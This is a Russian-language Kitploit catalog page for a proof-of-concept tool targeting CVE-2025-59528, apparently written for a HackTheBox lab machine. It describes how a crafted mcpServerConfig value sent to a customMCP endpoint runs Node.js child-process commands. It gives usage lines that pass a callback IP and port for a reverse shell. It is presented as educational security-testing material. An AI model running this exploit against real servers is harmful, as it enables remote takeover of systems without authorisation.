Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-59528-PoC — PoC для CVE-2025-59528, используемый для удалённого выполнения кода на машине Silentium на HTB. | Kitploit
Инструменты/GitHubGitHub/loaxert/cve-2025-59528-poc
ЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubloaxert/cve-2025-59528-poc

CVE-2025-59528-PoC

PoC для CVE-2025-59528, используемый для удалённого выполнения кода на машине Silentium на HTB.

Репозиторий
10 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-59528 Учебный PoC

Только для образовательных целей. Этот проект предназначен для контролируемых исследований в области безопасности, учебных демонстраций и авторизованного тестирования в изолированной лаборатории. Не используйте его против систем, сетей, приложений или учётных записей, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Что демонстрирует этот PoC

Эта proof of concept демонстрирует, как некорректно обработанное значение mcpServerConfig может допускать выполнение JavaScript на стороне сервера и выполнение команд через функциональность загрузки узлов customMCP.

Скрипт поддерживает два метода аутентификации:

  • Электронная почта/пароль: выполняет аутентификацию через эндпоинт входа приложения и повторно использует возвращённые файлы cookie сеанса.
  • Bearer-токен: отправляет API-ключ в заголовке Authorization.

После аутентификации скрипт отправляет специально сформированную конфигурацию на /api/v1/node-load-method/customMCP. Полезная нагрузка использует функциональность дочерних процессов Node.js для выполнения shell-команды и обратного подключения к слушателю, контролируемому исследователем. Это поведение включено исключительно для демонстрации потенциального воздействия в авторизованной лабораторной среде.

Требования

  • Python 3.
  • Пакет requests.

Установите зависимость с помощью:

root@kitploit:~
python3 -m pip install requests

Использование

Сохраните скрипт как CVE-2025-59528.py.

Режим электронной почты и пароля

root@kitploit:~
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>

Пример с демонстрационными значениями:

root@kitploit:~
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444

Режим bearer-токена

root@kitploit:~
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>

Пример с демонстрационными значениями:

root@kitploit:~
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444

Скрипт ожидает доступности следующих маршрутов приложения:

  • /api/v1/auth/login
  • /api/v1/node-load-method/customMCP

Текущий скрипт формирует URL-адреса http://. Обновите реализацию для HTTPS при тестировании лабораторного развёртывания, требующего TLS.

Как работает код

  1. main() проверяет количество аргументов командной строки и выбирает режим аутентификации.
  2. login() отправляет переданные учётные данные на эндпоинт входа.
  3. tokens() извлекает значения сеанса из заголовка ответа Set-Cookie.
  4. shell() формирует аутентифицированный запрос и отправляет специально созданное значение mcpServerConfig.
  5. bearer() выполняет тот же запрос, используя bearer-токен вместо файлов cookie сеанса.
  6. Тело ответа выводится, чтобы исследователь мог сопоставить результат с журналами приложения и сервера.
Скачать инструмент